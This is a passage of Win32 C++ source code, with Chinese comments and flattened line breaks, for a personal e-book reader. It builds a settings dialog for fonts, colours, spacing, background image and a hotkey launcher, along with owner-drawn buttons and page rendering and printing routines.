//设置静态文本的位置end ===============================           //设置按钮位置begin=========================================//字体板i=1;MoveWindow(GetDlgItem(hwnd,201),cxChar*32,(cyChar+jj)*i,cxChar*10,(cyChar+jj)*3-10,TRUE);//字体板//前景色、背景色、int idtemp=202;for (i=5;i<=7;i++){MoveWindow(GetDlgItem(hwnd,idtemp),cxChar*32,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE); idtemp++;}i=8;//刷新布局MoveWindow(GetDlgItem(hwnd,idtemp),cxChar*32,(cyChar+jj)*i,cxChar*10,(cyChar+jj)*3-10,TRUE);           //执行热键i=11;idtemp++;MoveWindow(GetDlgItem(hwnd,idtemp),cxChar*32,(cyChar+jj)*i,cxChar*10,cyChar+3,TRUE);//加大行距 减小行距 加大字体 减小字体i=13;MoveWindow(GetDlgItem(hwnd,207),(LOWORD(lParam)/2)/2/2,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);//加大行距      MoveWindow(GetDlgItem(hwnd,208),(LOWORD(lParam)/2)/2/2+LOWORD(lParam)/2,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);  i++;  //减小行距MoveWindow(GetDlgItem(hwnd,209),(LOWORD(lParam)/2)/2/2,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);  //加大字体  MoveWindow(GetDlgItem(hwnd,210),(LOWORD(lParam)/2)/2/2+LOWORD(lParam)/2,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);  i++;  //减小字体
//设置按钮位置end =========================================          i=1;MoveWindow(KJ_EDIT1,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_LISTBOX1,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar*6,TRUE);i++;MoveWindow(KJ_EDIT2,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT3,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT4,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT5,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT7,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT8,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT9,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT10,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i++;MoveWindow(KJ_EDIT11,cxChar*11,(cyChar+jj)*i,cxChar*20,cyChar+3,TRUE);i=5;MoveWindow(KJ_BUTTON3,cxChar*32,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);i++;      MoveWindow(KJ_BUTTON4,cxChar*32,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);   i++;  MoveWindow(KJ_BUTTON8,cxChar*32,(cyChar+jj)*i,cxChar*10,cyChar+5,TRUE);   i++;  ZGP_windowstoclient(hwnd,cxChar*45,(cyChar+jj)*19);break;}case WM_CREATE:{//创建字体hFont=CreateFont((char*)"宋体",25);hdc = GetDC (hwnd) ;(HFONT)SelectObject(hdc,hFont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar = tm.tmAveCharWidth ;cyChar = tm.tmHeight + tm.tmExternalLeading ;//DeleteObject(hFont);ReleaseDC (hwnd, hdc) ;SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标   vector<string> strlist;////创建静态文本========================================strlist.clear();strlist.push_back("字体大小:");//801strlist.push_back("字体名称:");//802strlist.push_back("行间距:");//803strlist.push_back("书名:");//804strlist.push_back("背景色:");//805strlist.push_back("字体色:");//806strlist.push_back("背景图:");//807strlist.push_back("页面边距:");//808strlist.push_back("书本宽度:");//809strlist.push_back("书本高度:");//810strlist.push_back("F2热键:");//811strlist.push_back("切换阅读模式:ctrl+h");//812strlist.push_back("快速打开读书笔记:alt+a");//813int idtemp=801;for (int i=0;i<strlist.size();i++){idtemp=801+i;CreateWindow("STATIC", strlist[i].c_str(), WS_CHILD|WS_VISIBLE, 0,0,0,0, hwnd, (HMENU)idtemp, NULL, NULL);SendMessage(GetDlgItem(hwnd,idtemp),WM_SETFONT,(WPARAM)hFont,0);//设置字体                   }strlist.clear();//创建静态文本========================================//创建按钮begin==================================================strlist.clear();strlist.push_back("字体板");//201strlist.push_back("背景色");//202strlist.push_back("字体色");//203strlist.push_back("背景图");//204strlist.push_back("刷新布局");//205strlist.push_back("执行热键");//206strlist.push_back("加大行距");//207strlist.push_back("减小行距");//208strlist.push_back("加大字体");//209strlist.push_back("减小字体");//210idtemp=201;for (int i=0;i<strlist.size();i++){idtemp=201+i;CreateWindow("BUTTON", strlist[i].c_str(), WS_CHILD|WS_VISIBLE|BS_OWNERDRAW, 0,0,0,0, hwnd, (HMENU)idtemp, NULL, NULL);SendMessage(GetDlgItem(hwnd,idtemp),WM_SETFONT,(WPARAM)hFont,0);//设置字体                   }strlist.clear();           //创建按钮end==================================================   //字体大小char temp[MAX_PATH];sprintf(temp,"%d",ztdx);KJ_EDIT1=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL ,  80, 10, 162, 20, hwnd, (HMENU)IDD_EDIT1, NULL, NULL);//字体名称KJ_LISTBOX1 = CreateWindow(TEXT("COMBOBOX"), ztname, WS_CHILD|WS_VISIBLE|WS_VSCROLL|CBS_AUTOHSCROLL|CBS_DROPDOWNLIST, 80, 35, 80, 300, hwnd, (HMENU)IDD_LISTBOX1, NULL, NULL);//控件的高度一定要足够,不然显示不全strlist.push_back("宋体");strlist.push_back("楷体");strlist.push_back("黑体");strlist.push_back("仿宋体");strlist.push_back("隶书");strlist.push_back("幼圆");for (int i=0;i<strlist.size();i++){SendMessage(KJ_LISTBOX1, CB_ADDSTRING, 0, (LPARAM)strlist[i].c_str());}int indexstar=0;int idx = SendMessage(KJ_LISTBOX1,CB_FINDSTRING,indexstar,(LPARAM)ztname);SendMessage(KJ_LISTBOX1, CB_SETCURSEL, idx, 0);//行间距sprintf(temp,"%d",HJJ);KJ_EDIT2=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 65, 162, 20,hwnd, (HMENU)IDD_EDIT2, NULL, NULL);//书名KJ_EDIT3=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), FileName.c_str(), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 95, 162, 20, hwnd, (HMENU)IDD_EDIT3, NULL, NULL);//背景色80, 125, 80, 300,    //000sprintf(temp,"%d",bjs);KJ_EDIT4=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 125, 80, 20, hwnd, (HMENU)IDD_EDIT4, NULL, NULL);//字体色80, 125, 80, 300,   //000sprintf(temp,"%d",zts);KJ_EDIT5=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 155, 80, 20, hwnd, (HMENU)IDD_EDIT5, NULL, NULL);//背景图80, 125, 80, 300,   //000KJ_EDIT7=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), bjtpath.c_str(), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 185, 80, 20, hwnd, (HMENU)IDD_EDIT7, NULL, NULL);sprintf(temp,"%d",zbj);//页面边距KJ_EDIT8=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 185, 80, 20, hwnd, (HMENU)IDD_EDIT8, NULL, NULL);sprintf(temp,"%d",GetPrivateProfileInt("电子书","书宽",1200,IniFullPath));//页面宽度KJ_EDIT9=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 185, 80, 20, hwnd, (HMENU)IDD_EDIT9, NULL, NULL);sprintf(temp,"%d",GetPrivateProfileInt("电子书","书高",900,IniFullPath));//页面高度KJ_EDIT10=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), temp, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 185, 80, 20, hwnd, (HMENU)IDD_EDIT10, NULL, NULL);//获取F2热键命令执行指令memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会......GetPrivateProfileString("电子书", //节名  返回字符串长度"F2热键", //项名"G:\\我的资料-ZGP\\001-文档\\000-财务审计部\\000-待办文件", //没找到此项时的返回值inputstr, //目标缓冲区地址MAX_PATH, //目标缓冲区长度IniFullPath); //配置文件的准确路径              KJ_EDIT11=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), inputstr, WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL,  80, 185, 80, 20, hwnd, (HMENU)IDD_EDIT11, NULL, NULL);SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标return 0;/*SendMessage(KJ_TEXT1, WM_SETFOCUS, 0, 0);     //edit取得焦点SendMessage(KJ_TEXT1, EM_SETSEL, 0, -1);  //选择edit中所有的文字内容SetWindowText(KJ_TEXT1, L"id\tname\tinputTime\tns\truntimes\r\n");*///操作控件//SendMessage(KJ_EDIT1, WM_SETFOCUS, 0, 0);     //edit取得焦点//SendMessage(KJ_EDIT1, EM_SETSEL, 0, -1);    //选择edit中所有的文字内容            //int indexstar=0;//int idx = SendMessage(KJ_LISTBOX1,CB_FINDSTRING,indexstar,(LPARAM)ztname);//SendMessage(KJ_LISTBOX1, CB_SETCURSEL, idx, 0);   // CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"),TEXT("多行EDIT"), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL | ES_AUTOVSCROLL, 10, 230, 250, 250, hwnd,(HMENU)IDD_EDIT2, NULL, NULL);}//重绘控件case WM_DRAWITEM:{UINT iCtlID = wParam;//如果此消息是菜单发送的,此值就是0,否则就是发送此消息的控件IDLPDRAWITEMSTRUCT lpDrawItemStruct = (LPDRAWITEMSTRUCT)lParam;HDC hdc = lpDrawItemStruct->hDC;//重绘按钮类if (lpDrawItemStruct->CtlType&ODT_BUTTON){SetBkMode(hdc,TRANSPARENT);//设置文字背景模式为透明的RECT rcitem;rcitem=lpDrawItemStruct->rcItem;char tip[MAX_PATH];//如果按钮获得焦点时
/*                  if (lpDrawItemStruct->itemState&ODS_FOCUS)//检测按钮是否是被单击按下时要求的重绘{DrawFocusRect(hdc,&rcitem);}   */if (lpDrawItemStruct->itemState&ODS_SELECTED)//检测按钮是否是被单击按下时要求的重绘{//单击按钮时HBRUSH hbr;hbr=CreateSolidBrush(RGB(122,197,205));SelectObject(hdc,hbr);RoundRect(hdc,rcitem.left,rcitem.top,rcitem.right,rcitem.bottom,30,30);//FillRect(hdc,&rcitem,hbr);                     //hbr=CreateSolidBrush(RGB(205,92,92));// FrameRect(hdc,&rcitem,hbr);// FillRect(hdc,&lpDrawItemStruct->rcItem,(HBRUSH)GetStockObject(DKGRAY_BRUSH));//删除画刷DeleteObject(hbr);SetTextColor(hdc,RGB(255,0,0));}else{HBRUSH hbr;hbr=CreateSolidBrush(RGB(155, 205, 155));SelectObject(hdc,hbr);RoundRect(hdc,rcitem.left,rcitem.top,rcitem.right,rcitem.bottom,30,30);//FillRect(hdc,&rcitem,hbr);      //hbr=CreateSolidBrush(RGB(34, 139, 34));//FrameRect(hdc,&rcitem,(HBRUSH)GetStockObject(BLACK_BRUSH));//删除画刷DeleteObject(hbr);SetTextColor(hdc,RGB(0, 0, 0));}//绘制按钮文字GetWindowText(lpDrawItemStruct->hwndItem,tip,MAX_PATH);SetBkMode(hdc,TRANSPARENT);DrawText(hdc,tip,-1,&lpDrawItemStruct->rcItem,DT_WORDBREAK|DT_CENTER|DT_SINGLELINE|DT_VCENTER);//SetBkMode(hdc,OPAQUE);//恢复文字背景模式//  SetTextColor(hdc,RGB(0,0,0));//恢复文字颜色} }return FALSE;case WM_COMMAND:{if (LOWORD(wParam) == 206)//执行热键按钮{char temp[MAX_PATH];GetWindowText(KJ_EDIT11,temp,MAX_PATH);WritePrivateProfileString("电子书","F2热键",temp,IniFullPath);ShellExecute(NULL,"open",temp, NULL, NULL, SW_SHOWNORMAL);                   }if (LOWORD(wParam) == 205)//刷新布局按钮{char temp[MAX_PATH];GetWindowText(KJ_EDIT8,temp,MAX_PATH);zbj=atoi(temp);WritePrivateProfileString("电子书","页面边距",temp,IniFullPath);//写入INI数值GetWindowText(KJ_EDIT9,temp,MAX_PATH);int formx=atoi(temp);WritePrivateProfileString("电子书","书宽",temp,IniFullPath);//写入INI数值GetWindowText(KJ_EDIT10,temp,MAX_PATH);int formy=atoi(temp);WritePrivateProfileString("电子书","书高",temp,IniFullPath);//写入INI数值ZGP_windowstoclient(MAIN_hwnd,formx,formy);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果        /*              sprintf(temp,"cxChar:%d,cyChar:%d,ztdx:%d",cxChar,cyChar,ztdx);MessageBox(hwnd,temp,"提示",0); */return 0;}if (LOWORD(wParam) == 204)//背景图{ OPENFILENAME ofn = { 0 };char strFilename[MAX_PATH] = { 0 };//用于接收文件名//MessageBox(NULL, strFilename, TEXT("选择的文件"), 0);ofn.lStructSize = sizeof(OPENFILENAME);//结构体大小ofn.hwndOwner = NULL;//拥有着窗口句柄,为NULL表示对话框是非模态的,实际应用中一般都要有这个句柄ofn.lpstrFilter = TEXT("bmp图片\0*.bmp\0\0");//设置过滤ofn.nFilterIndex = 1;//过滤器索引ofn.lpstrFile = (LPTSTR)strFilename;//接收返回的文件名,注意第一个字符需要为NULLofn.nMaxFile = sizeof(strFilename);//缓冲区长度ofn.lpstrInitialDir = NULL;//初始目录为默认ofn.lpstrTitle = TEXT("请选择一个文件");//使用系统默认标题留空即可ofn.Flags = OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_HIDEREADONLY;//文件、目录必须存在,隐藏只读选项if (GetOpenFileName(&ofn))  //如果用GCC编译的话,编译命令行要这样才行:gcc -o A A.cpp -static-libgcc -lgdi32 -lcomdlg32{ll=3;bjtpath=strFilename;SetWindowText(KJ_EDIT7,strFilename);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景//MessageBox(NULL, fh, "选择的文件", 0);return 0;}else{bjtpath="c:\\默认背景图";SetWindowText(KJ_EDIT7,bjtpath.c_str());getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景return 0;//MessageBox(NULL, TEXT("请选择一个文件"), NULL, MB_ICONERROR);//goto loop;}}if (LOWORD(wParam) == 201)//字体板{LOGFONT LogFont;memset(&LogFont,0,sizeof(LOGFONT));lstrcpy(LogFont.lfFaceName,ztname);LogFont.lfWidth=0;//字体宽度LogFont.lfHeight=ztdx;//字体高度 LogFont.lfWeight=100;//粗体LogFont.lfCharSet=134; //字符集LogFont.lfOutPrecision=3;//输出精度LogFont.lfClipPrecision=2;//剪裁精度LogFont.lfOrientation=45;//基线角度LogFont.lfQuality=1;//输出质量LogFont.lfPitchAndFamily=2;//间距及字族CHOOSEFONT        cf; cf.lStructSize    = sizeof(CHOOSEFONT); cf.hwndOwner      = (HWND)NULL; cf.hDC            = (HDC)NULL;cf.lpLogFont      = &LogFont;cf.iPointSize     = 10; cf.Flags          = CF_SCREENFONTS;cf.rgbColors      = RGB(0,0,0); cf.lCustData      = 0L;cf.lpfnHook       = (LPCFHOOKPROC)NULL; cf.lpTemplateName = (LPSTR)NULL;cf.hInstance      = (HINSTANCE) NULL; cf.lpszStyle      = (LPSTR)NULL;cf.nFontType      = SCREEN_FONTTYPE; cf.nSizeMin       = 0;cf.nSizeMax       = 0;  if (ChooseFont(&cf)!=0) //p26选择字体对话框{lstrcpy(ztname,LogFont.lfFaceName);ztdx=LogFont.lfHeight;char temp[MAX_PATH];sprintf(temp,"%d",ztdx);SetWindowText(KJ_EDIT1,temp);SendMessage(KJ_LISTBOX1, CB_ADDSTRING, 0, (LPARAM)ztname);int indexstar=0;int idx = SendMessage(KJ_LISTBOX1,CB_FINDSTRING,indexstar,(LPARAM)ztname);SendMessage(KJ_LISTBOX1, CB_SETCURSEL, idx, 0);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}}           if (LOWORD(wParam) == 207)//加大行距{HJJ++;char temp[10];sprintf(temp,"%d",HJJ);SetWindowText(KJ_EDIT2, temp);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}if (LOWORD(wParam) == 208)//减小行距{HJJ--;char temp[10];sprintf(temp,"%d",HJJ);SetWindowText(KJ_EDIT2, temp);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}    if (LOWORD(wParam) == 202)//背景色{//调用颜色板CHOOSECOLOR cc;COLORREF crCustColors[16];cc.Flags=CC_RGBINIT|CC_FULLOPEN;cc.hInstance=NULL;cc.hwndOwner=NULL;cc.lCustData=0;cc.lpCustColors=crCustColors;cc.lpfnHook=NULL;cc.lpTemplateName=NULL;cc.lStructSize=sizeof(CHOOSECOLOR);cc.rgbResult=bjs;//RGB(0x80,0x80,0x80);if (ChooseColor(&cc)){bjs=cc.rgbResult;char temp[10];sprintf(temp,"%d",bjs);SetWindowText(KJ_EDIT4, temp);      getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                  }   }   if (LOWORD(wParam) == 203)//字体色{//调用颜色板CHOOSECOLOR cc;COLORREF crCustColors[16];cc.Flags=CC_RGBINIT|CC_FULLOPEN;cc.hInstance=NULL;cc.hwndOwner=NULL;cc.lCustData=0;cc.lpCustColors=crCustColors;cc.lpfnHook=NULL;cc.lpTemplateName=NULL;cc.lStructSize=sizeof(CHOOSECOLOR);cc.rgbResult=zts;//RGB(0x80,0x80,0x80);if (ChooseColor(&cc)){zts=cc.rgbResult;char temp[10];sprintf(temp,"%d",zts);SetWindowText(KJ_EDIT5, temp);      getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果                  }   }               if (LOWORD(wParam) == 209)//加大字体{if (ztdx<0){ztdx--;}else{ztdx++;}char temp[10];sprintf(temp,"%d",ztdx);SetWindowText(KJ_EDIT1, temp);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}if (LOWORD(wParam) == 210)//减小字体{if (ztdx<0){ztdx++;}else{ztdx--;}char temp[10];sprintf(temp,"%d",ztdx);SetWindowText(KJ_EDIT1, temp);getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}        if (LOWORD(wParam) == IDD_LISTBOX1)//改变字体{switch(HIWORD(wParam)){case CBN_SELCHANGE: // 选中的项已经改变{GetWindowText(KJ_LISTBOX1,ztname,20);}}getstr();InvalidateRect(MAIN_hwnd,NULL,FALSE);//刷新显示结果}           return 0;}case WM_CTLCOLORSTATIC:{ HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//选择字体着色//SelectObject(hdc,hFont);//选择字体return (BOOL)((HBRUSH)GetStockObject(WHITE_BRUSH));}case WM_DESTROY:PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}LRESULT CALLBACK aboutProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{static HFONT hFont; HDC hdc ;PAINTSTRUCT ps ;  TEXTMETRIC tm ; static int about_cxClient,about_cyClient;switch (message){case WM_SIZE: {   about_cxClient = LOWORD (lParam) ; //得到客户区宽度about_cyClient = HIWORD (lParam) ; //得到客户区高度return 0;}case WM_PAINT:      //重画窗口客户区消息处理mainpaint{HINSTANCE hinstance=(HINSTANCE)GetWindowLong(hwnd,GWL_HINSTANCE);//有时候会发现程序的图标是有了,但是在左上角却还是没有加载上,这样做保险点HDC memDC = CreateCompatibleDC(0);//定义兼容DC 创建一个与特定设备场景一致的内存设备场景HBITMAP bmpBack;bmpBack =(HBITMAP)LoadImage(hinstance,MAKEINTRESOURCE(IDI_ABOUT),IMAGE_BITMAP,about_cxClient,about_cyClient,LR_DEFAULTSIZE|LR_SHARED);//加载一张指定了路径的bmp图片,此图片大小为63*128,用这个函数之前需要知道这张图的大小,分别填写在第4、5个参数里 ,第二个参数中填图片路径           hdc=BeginPaint(hwnd,&ps);  //获取要重画的窗口的设备描述表句柄          SelectObject(memDC,bmpBack);(HFONT)SelectObject(hdc,hFont);//选择字体SetBkMode(hdc,TRANSPARENT);// 设置TextOut文本背景色模式为透明  SetTextColor(hdc, 0);//设置显示字体颜色BitBlt(hdc,0,0,about_cxClient,about_cyClient,memDC,0,0,SRCCOPY);//155SRCCOPY将内存中的图拷贝到屏幕上进行显示ReleaseDC(hwnd,hdc);//删除绘画设备EndPaint(hwnd,&ps);      //结束重画return 0;}        case WM_DESTROY:{PostQuitMessage (0) ;return 0 ;}}return DefWindowProc (hwnd, message, wParam, lParam) ;}void PrintPage(HDC hdc1,int currentpage,int A4x,int A4y)
{HDC memDC = CreateCompatibleDC(0);//定义兼容DC 创建一个与特定设备场景一致的内存设备场景HBITMAP bmpBack;TEXTMETRIC tm ; bmpBack = CreateCompatibleBitmap(hdc1,A4x,A4y);//定义位图画布SelectObject(memDC,bmpBack);   int xsd = GetDeviceCaps(hdc1,LOGPIXELSY);//得到当前屏幕每英寸的像素点是多少// printf("当前屏幕每英寸的像素点:%d\n",xsd);int fz=0;  //创建字体hFont=CreateFont((char *)ztname,ztdx);//用于显示正文三号字hFont1=CreateFont((char*)"宋体",15);//用于显示信息栏          hFont2=CreateFont((char *)"黑体",ztdx);//用于显示正文里的标题类文本//创建绘画设备 HPEN hpen = CreatePen(PS_SOLID, 1, 16777215);//255,100,255HBRUSH hbrush1 = CreateSolidBrush(16777215);//画刷的着色黑色//选择绘画设备 hOldFont = (HFONT)SelectObject(memDC,hFont);//选择字体装入显示设备//得到当前字体的高度和宽度GetTextMetrics (memDC, &tm) ;cxChar1 = tm.tmAveCharWidth ;cyChar1 = tm.tmHeight + tm.tmExternalLeading ;SelectObject(memDC, hpen);//选择画笔装入显示设备SelectObject( memDC, hbrush1 );//选择画刷SetTextColor(memDC, 0);//设置显示字体颜色SetBkMode(memDC,TRANSPARENT);// 设置TextOut文本背景色模式为透明         Rectangle(memDC, 0,0,A4x,A4y);//刷白  int printHang = (A4y-22) / (cyChar1+HJJ);//计算行    int printLie = (A4x-zbj)/ cxChar1/2;//计算列//显示正文int x=0;int js=0;int y=0;y=(A4y-((cyChar1+HJJ)*printHang-HJJ+22))/2;//页面上边距           int j=0;for (int i=currentpage*printHang;i<currentpage*printHang+printHang&&i<printstr.size();i++){x=(A4x-cxChar1*printLie*2)/2;//左右居中/*                            //判断本行字是不是标题类的文字,如果是则居中显示wstring temp=ANSIToUnicode(printstr[i]);wstring temp1;int count=0,count1=0;int tempsize=temp.length();  //sizeof 求出的是对象所占有空间的字节数//strlen 求出的是字符数组第一个'\0'前的字节数//例如sizeof("abc\0cd")求出的是7//strlen("abc\0cd")求出的是3//string 的length和size没有区别              //标题类居中显示if (tempsize<printLie-1){   string tos;string strtemp="…abcdefghijklmnopqrstuvwxyz  ..,':;!!?,){}{}[]。;’”:--)";int fz;for (int js=tempsize-1;js>=0;js--)//从字体串后面开始判断{temp1=temp[js];//截取一个字符tos=UnicodeToANSI(temp1);//将该字符转换为string类型if (tos[0]!=10 && tos[0]!=13 && tos!=" "){fz=strtemp.find(tos);//string.rfind  从字符串右边开始找字符,返回位置if (fz==string::npos){ break;}else{count++;}}else//统计换行符、回车符及空格的个数{count1++;}}                 if (count==0){x=(A4x-cxChar*tempsize*2)/2;//左右居中}}//标题类居中显示end  */SelectObject(memDC,hFont);//选择字体char* p=(char*)printstr[i].c_str();//第一点:c_str()字符串后有'\0',而data()没有。//第二点: data 返回的数组(虽然是char* 但是和  c_str 还是有本质区别的)-----data 能解决一个问题 string 串中 包含 \0 情况的问题。结合size 方法就能随意访问返回的数据了.  注意他返回的是array 数组.js=strlen(p);
/* if (count==0&&tempsize<Lie-1)//如果是标题类文本{/单栏居中/左边栏居中///右边栏居中//为什么用这句???if (x!=(cxClient-cxChar*Lie*2)/2&&x!=(cxClient/2-cxChar*Lie*2)/2&&x!=cxClient/2+(cxClient/2-cxChar*Lie*2)/2)SelectObject(memDC,hFont2);//选择字体//string str_temp=hzto16(p);//printf("%s\n",str_temp.c_str());}else{SelectObject(memDC,hFont);//选择字体}*/TextOut(memDC,x,(cyChar1*j+HJJ*j)+y,p,js);      //输出到窗口的文本j++;//J是显示在当前页面第J行}//for end//显示阅读进度及显示文件全路径DeleteObject(hOldFont); //删除旧字体hOldFont=(HFONT)SelectObject(memDC,hFont1);//选择字体//得到当前字体的高度和宽度GetTextMetrics (memDC, &tm) ;int cxChar2 = tm.tmAveCharWidth ;int cyChar2 = tm.tmHeight + tm.tmExternalLeading ;SetTextColor(memDC, zts );//设置字体着色8454143char ls2[MAX_PATH];fz=FileName.rfind('\\');//string.rfind  从字符串右边开始找字符,返回位置string zs1=FileName.substr(fz+1,FileName.size()-fz-1-4);  // s2 = "is i"int zpage=printstr.size()/printHang;if (printstr.size()%printHang!=0) zpage++;sprintf(ls2,"%s 第%d页/共%d页",(char*)zs1.c_str(),currentpage+1,zpage);       js=strlen(ls2);//显示书名TextOut(memDC,(A4x-js*cxChar2)/2,A4y-18,ls2,js);//输出中间位置//画图标
/*          HICON hicon=LoadIcon((HINSTANCE)GetWindowLong(MAIN_hwnd,GWL_HINSTANCE),"IDI_CLOSE"); DrawIconEx(memDC,r.right-23,3,hicon,20,20,1,hbrush1,DI_NORMAL);*/       //DrawIcon(memDC,r.right-50,5,hicon);BitBlt(hdc1,0,0,A4x,A4y,memDC,0,0,SRCCOPY);//155SRCCOPY将内存中的图拷贝到屏幕上进行显示/*              //从左到右显示for (int j=1;j<r.right-r.left;j=j+10){BitBlt(hdc,0,0,j,r.bottom-r.top-100,memDC,0,0,SRCCOPY);}  *///删除原先建立的绘画设备DeleteObject(hFont) ;//必须要删除,不然内存会被吃光DeleteObject(hFont1) ;//必须要删除,不然内存会被吃光DeleteObject(hFont2) ;//必须要删除,不然内存会被吃光DeleteObject(bmpBack);//删除画布DeleteDC(memDC);//删除内存绘画设备
}void MainPaint(HDC hdc1)
{HDC memDC = CreateCompatibleDC(0);//定义兼容DC 创建一个与特定设备场景一致的内存设备场景HBITMAP bmpBack;TEXTMETRIC tm ; string temp=Get_Run_Path_ZGP();if (ll==1 or ll==2){   bmpBack = CreateCompatibleBitmap(hdc1,cxClient,cyClient);//定义位图画布//zts=GetPrivateProfileInt("电子书","字体色",0,IniFullPath);//读取INI数值}if (ll==3){if (bjtpath.find("\\")==-1){bjtpath=temp+"gpbook\\"+bjtpath;}if (checkfile(bjtpath)) {bmpBack =(HBITMAP)LoadImage(NULL,bjtpath.c_str(),IMAGE_BITMAP,cxClient,cyClient,LR_LOADFROMFILE);//加载一张指定了路径的bmp图片,此图片大小为63*128,用这个函数之前需要知道这张图的大小,分别填写在第4、5个参数里 ,第二个参数中填图片路径//zts=0;}else{//bmpBack = CreateCompatibleBitmap(hdc1,cxClient,cyClient);//定义位图画布bmpBack =(HBITMAP)LoadImage(hinst,MAKEINTRESOURCE(IDI_BITMAP),IMAGE_BITMAP,cxClient,cyClient,LR_DEFAULTSIZE|LR_SHARED);//加载一张指定了路径的bmp图片,此图片大小为63*128,用这个函数之前需要知道这张图的大小,分别填写在第4、5个参数里 ,第二个参数中填图片路径//zts=255;}}SelectObject(memDC,bmpBack); int fz=0;  //创建字体if (ll==1){hFont=CreateFont((char *)ztname,ztdx*sfbl);//用于显示正文hFont1=CreateFont((char*)"宋体",15);//用于显示信息栏           hFont2=CreateFont((char *)"黑体",ztdx*sfbl);//用于显示正文里的标题类文本}else{hFont=CreateFont((char *)ztname,ztdx);//用于显示正文hFont1=CreateFont((char*)"宋体",15);//用于显示信息栏         hFont2=CreateFont((char *)"黑体",ztdx);//用于显示正文里的标题类文本}//创建绘画设备 HPEN hpen = CreatePen(PS_SOLID, 1, 8421504);//255,100,255HBRUSH hbrush1 = CreateSolidBrush(bjs);//画刷的着色黑色HBRUSH hbrush2 = CreateSolidBrush(12632256);//画刷的着色//选择绘画设备 hOldFont = (HFONT)SelectObject(memDC,hFont);//选择字体装入显示设备//得到当前字体的高度和宽度GetTextMetrics (memDC, &tm) ;cxChar = tm.tmAveCharWidth;cyChar = tm.tmHeight + tm.tmExternalLeading ;HPEN hpenold = (HPEN)SelectObject(memDC, hpen);//选择画笔装入显示设备if (ll==1 or ll==2)//如果不是背景图显示模式,则选择画刷来刷背景色HBRUSH hbrush_old = (HBRUSH)SelectObject( memDC, hbrush1 );//选择画刷if (ll==3){SetTextColor(memDC, zts);//设置显示字体颜色}if (ll==1 or ll==2)//两栏模式 {SetTextColor(memDC, zts);//设置显示字体颜色}SetBkMode(memDC,TRANSPARENT);// 设置TextOut文本背景色模式为透明         //擦除画布if (ll==1 or ll==2)// Rectangle(memDC, 